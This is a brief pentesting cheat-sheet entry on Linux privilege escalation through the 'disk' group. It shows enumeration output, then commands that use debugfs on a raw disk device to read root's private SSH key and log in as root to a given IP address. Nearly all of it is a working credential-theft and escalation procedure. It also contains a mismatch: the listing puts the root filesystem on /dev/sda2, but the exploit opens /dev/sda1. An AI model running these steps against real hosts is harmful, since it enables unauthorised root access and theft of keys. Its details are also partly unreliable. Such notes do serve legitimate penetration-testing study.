Groups

Disk

https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/#disk

Enumeration

$ groups
sysadmin disk
 
$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            445M     0  445M   0% /dev
tmpfs            98M  1.1M   97M   2% /run
/dev/sda2       9.8G  5.7G  3.7G  61% /
tmpfs           489M     0  489M   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           489M     0  489M   0% /sys/fs/cgroup
/dev/loop0       71M   71M     0 100% /snap/lxd/21029
/dev/loop1       56M   56M     0 100% /snap/core18/2284
/dev/loop2       62M   62M     0 100% /snap/core20/1328
/dev/loop3       68M   68M     0 100% /snap/lxd/21835
/dev/loop4       56M   56M     0 100% /snap/core18/2128
/dev/loop5       33M   33M     0 100% /snap/snapd/12883
/dev/loop6       44M   44M     0 100% /snap/snapd/14549
tmpfs            98M     0   98M   0% /run/user/1001

Exploit

 
debugfs /dev/sda1 
debugfs: cd /root 
debugfs: ls 
debugfs: cat /root/.ssh/id_rsa

Copy the id_rsa and create a local file

chmod 600 id_rsa
 
ssh -i id_rsa root@192.168.156.181